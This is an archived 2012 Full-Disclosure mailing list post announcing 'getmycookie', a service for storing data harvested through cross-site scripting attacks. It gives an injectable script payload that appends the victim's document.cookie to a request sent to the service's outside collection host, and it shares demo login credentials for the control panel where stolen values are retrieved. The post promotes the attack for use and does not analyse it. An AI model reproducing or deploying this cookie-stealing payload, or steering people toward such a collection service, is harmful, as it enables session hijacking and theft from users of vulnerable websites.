full-disclosure - [OT] New online service to make XSSs easier

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Sun, 6 May 2012 22:32:40 +0200
From: Manu <sourvivor@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: [OT] New online service to make XSSs easier

Hello,

I just would like you to know a new service that I want to publish. Its
called 'getmycookie' (www.getmycookie.com) and is going to be a service to
make easier to perform XSS attacks.

The website allow users to store there their extracted data from XSS's. For
example, if you are a user of getmycookie you could inject a xss as:

<script>document.writr('<img src="
http://getmycookie.com/hook.m3?hash=8f1c52809a3c3517820727961e277c4d397ba7019258e7a373&value="'
+  document.cookie + '>');</script>.

It would be stored into a database ('value' parameter) and it could be
obtained through the control panel of the user that owns the hash
'8f1c52809a3c3517820727961e277c4d397ba7019258e7a373'. (username: demo,
password: demo).

Is easy, fast, anonymous and you don't need to give any information about
you, just an username and password.

Greetings

-- 
/Manu~

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/